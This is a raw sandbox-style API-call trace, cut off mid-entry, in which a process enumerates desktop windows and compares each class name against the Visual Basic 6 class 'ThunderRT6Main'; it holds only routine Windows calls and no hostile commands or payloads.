lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0079.469] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0079.469] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.469] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0079.469] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0079.469] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0079.469] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0079.469] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0079.469] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.469] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0079.469] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0079.469] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0079.469] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0079.469] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0079.469] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.469] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.469] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0079.469] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0079.469] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0079.470] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0079.470] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0079.470] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.470] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0079.470] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0079.470] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0079.470] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0079.470] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0079.470] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.470] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0079.470] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0079.470] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0079.470] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0079.470] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0079.470] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.470] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0079.470] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0079.470] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0079.470] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0079.470] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0079.471] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0079.471] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.471] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0079.471] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0079.471] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0079.471] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0079.471] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0079.471] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.471] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0079.471] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0079.471] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0079.471] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0079.471] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0079.471] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0079.471] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.471] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0079.471] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0079.471] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0079.471] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0079.471] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0079.471] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0079.472] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.472] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0079.472] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0079.472] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0079.472] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0079.472] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.472] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0079.472] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0079.472] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0079.472] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.472] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0079.472] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.472] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.472] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0079.472] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0079.472] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0079.472] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0079.472] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0079.472] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0079.473] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0079.473] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.473] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0079.473] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0079.473] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0079.473] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0079.473] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0079.473] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0079.473] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0079.473] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0079.473] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0079.473] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0079.473] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.473] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0079.473] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0079.474] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0079.474] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0079.474] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0079.474] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.474] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0079.474] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0079.474] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.474] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0079.474] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0079.474] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.474] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.474] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0079.474] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.474] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.474] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0079.474] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.474] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.474] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0079.474] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0079.474] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0079.474] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.475] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0079.475] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.475] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0079.475] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0079.475] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.475] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.475] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0079.475] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.475] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.475] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0079.475] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.475] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.475] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0079.475] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0079.475] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0079.475] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0079.475] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.475] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.475] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0079.476] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0079.476] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0079.476] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.476] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0079.476] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0079.476] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0079.476] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0079.476] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.476] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0079.476] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0079.476] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0079.476] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.476] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0079.476] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0079.476] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.476] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0079.476] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0079.476] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0079.476] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.476] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0079.477] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.477] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.477] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0079.477] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0079.477] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0079.477] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0079.477] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.477] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0079.477] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0079.477] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0079.477] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0079.477] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0079.477] GetClassNameA (in: hWnd=0x20352, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.477] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x20352, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0079.477] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0079.477] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.477] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.477] GetWindowThreadProcessId (in: hWnd=0x302d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0079.477] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0079.477] GetClassNameA (in: hWnd=0x302d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0079.477] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0079.478] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd54 [0079.478] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0079.478] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0079.478] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0079.478] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.478] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0079.478] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1060 [0079.478] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1060) [0079.660] GetCurrentThreadId () returned 0xbdc [0079.660] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0079.660] GetDesktopWindow () returned 0x10010 [0079.661] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0079.661] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.661] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.661] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0079.661] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.661] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.661] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0079.661] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.661] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.661] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0079.661] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0079.661] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.661] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0079.661] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0079.661] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0079.661] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0079.661] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0079.661] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0079.661] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0079.661] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0079.662] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x10074, 